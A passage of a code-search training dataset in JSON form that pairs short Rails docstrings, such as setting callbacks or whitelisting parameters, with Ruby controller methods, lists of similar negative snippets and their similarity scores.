@retroalimentacion.destroy\n\n respond_to do |format|\n format.html { redirect_to retroalimentacions_url }\n format.json { head :no_content }\n end\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def destroy\n @tipo_agressor.destroy\n respond_to do |format|\n format.html { redirect_to tipo_agressores_url, notice: @@msgs }\n format.json { head :no_content }\n end\n end", "def destroy\n @ephem.destroy\n respond_to do |format|\n format.html { redirect_to ephems_url }\n format.json { head :no_content }\n end\n end", "def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end", "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "def destroy\n @gonzo.destroy\n respond_to do |format|\n format.html { redirect_to gonzos_url, notice: 'Gonzo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7137471", "0.7045211", "0.6996932", "0.696007", "0.695888", "0.68278784", "0.6800615", "0.6786448", "0.6786325", "0.678618", "0.6777188", "0.67682195", "0.6759223", "0.67535365", "0.67526776", "0.67417103", "0.67417103", "0.67316526", "0.6723328", "0.67116386", "0.67010766", "0.66972876", "0.66972876", "0.66972876", "0.66972876", "0.6687483", "0.6681032", "0.6676968", "0.6676851", "0.66743785", "0.6660651", "0.664931", "0.6648417", "0.6648017", "0.66431123", "0.6642139", "0.6635541", "0.6635329", "0.6625617", "0.66188765", "0.6611189", "0.66065264", "0.6604096", "0.6602243", "0.6599215", "0.6597969", "0.6596547", "0.6595014", "0.65916175", "0.65883785", "0.6583217", "0.6581135", "0.65736955", "0.6571731", "0.6566335", "0.6564142", "0.6560297", "0.6556268", "0.6551074", "0.65505105", "0.65485215", "0.6542546", "0.6541661", "0.65413344", "0.65401304", "0.6536268", "0.65352756", "0.65317225", "0.6531401", "0.65285146", "0.65217817", "0.65192044", "0.65184844", "0.6517898", "0.65168", "0.6516296", "0.6516197", "0.6515279", "0.65135735", "0.65118307", "0.65101147", "0.65101147", "0.6510031", "0.6508616", "0.6505531", "0.6504295", "0.6502657", "0.64990383", "0.64983445", "0.6498211", "0.6496354", "0.64962125", "0.6495668", "0.64942735", "0.64925367", "0.64921165", "0.6489878", "0.64887434", "0.64857745", "0.6485674" ]
0.7179799
0
Use callbacks to share common setup or constraints between actions.
def set_egreso @egreso = Egreso.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def egreso_params params.require(:egreso).permit(:estado, :monto, :fecha, :concepto) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
GET /virtual_assignments GET /virtual_assignments.xml
def index special_joins = {} ## BUILD MASTER HASH WITH ALL SUB-PARAMS ## allparams = {} allparams[:mainmodel] = VirtualAssignment allparams[:webparams] = params allparams[:special_joins] = special_joins results = Search.new(allparams).search flash[:error] = results[:errors].join('<br />') unless results[:errors].empty? includes = results[:includes] results[:requested_includes].each_pair{|k,v| includes[k] = v} @objects = results[:search_results] respond_to do |format| format.html # index.html.erb format.xml { render :xml => @objects.to_xml(:dasherize => false) } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @assignments = @user.assignments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end", "def show\n @virtual_assignment = @object\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @virtual_assignment.to_xml(:dasherize => false) }\n end\n end", "def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end", "def show\n @assignment = Assignment.find(params[:id]) #respond_to do |format|\n # format.html # index.html.erb\n # format.xml { render :xml => @assignments }\n @task = @assignment.task\n @project = @task.project\n \n @assignee = @assignment.user\n @members = @project.memberships.select { |member| member.is_approved? }\n @candidates = @members.collect { |member| member.user }\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def index\n @task_assignments = TaskAssignment.all\n end", "def index\n @assignments = Assignment.all\n end", "def index\n @assignments = Assignment.all\n end", "def index\n @assignments = Assignment.all\n end", "def index\n @assignments = Assignment.all\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end", "def show\n @assigned = Assigned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assigned }\n end\n end", "def show\n @assignmentstatus = Assignmentstatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignmentstatus }\n end\n end", "def index\n @techers_assignments = TechersAssignment.all\n end", "def index\n @assignmentstatuses = Assignmentstatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignmentstatuses }\n end\n end", "def index\n @activity_participant_assignments = ActivityParticipantAssignment.all\n end", "def index\n\t\t@assignments = Assignment.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @assignments }\n\t\tend\n\tend", "def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignments }\n end\n end", "def index\n @assignments = Assignment.all\n\t@users = User.all\n\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end", "def new\n @assignment = @user.assignments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def vitals\n raise UserNotAuthenticated unless access_token\n\n get('records/vitals')\n end", "def goto_assignments\n goto_controller('Assignments')\n end", "def index\n #@meeting_assignments = Assignment.find_all_meetings\n @meeting_assignments = Assignment.find_all_meetings(@user.id, params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meetings }\n end\n end", "def index\n render json: { assignments: [ @assignment.as_json ] }\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def index\n @current_assignments = Assignment.current.by_employee.paginate(page: params[:page]).per_page(10)\n @past_assignments = Assignment.past.by_employee.paginate(page: params[:page]).per_page(10) \n end", "def index\n @user_assignments = UserAssignment.all\n end", "def assignments\n return @assignments\n end", "def assignments\n return @assignments\n end", "def assignments\n return @assignments\n end", "def assignments\n return @assignments\n end", "def assignments\n return 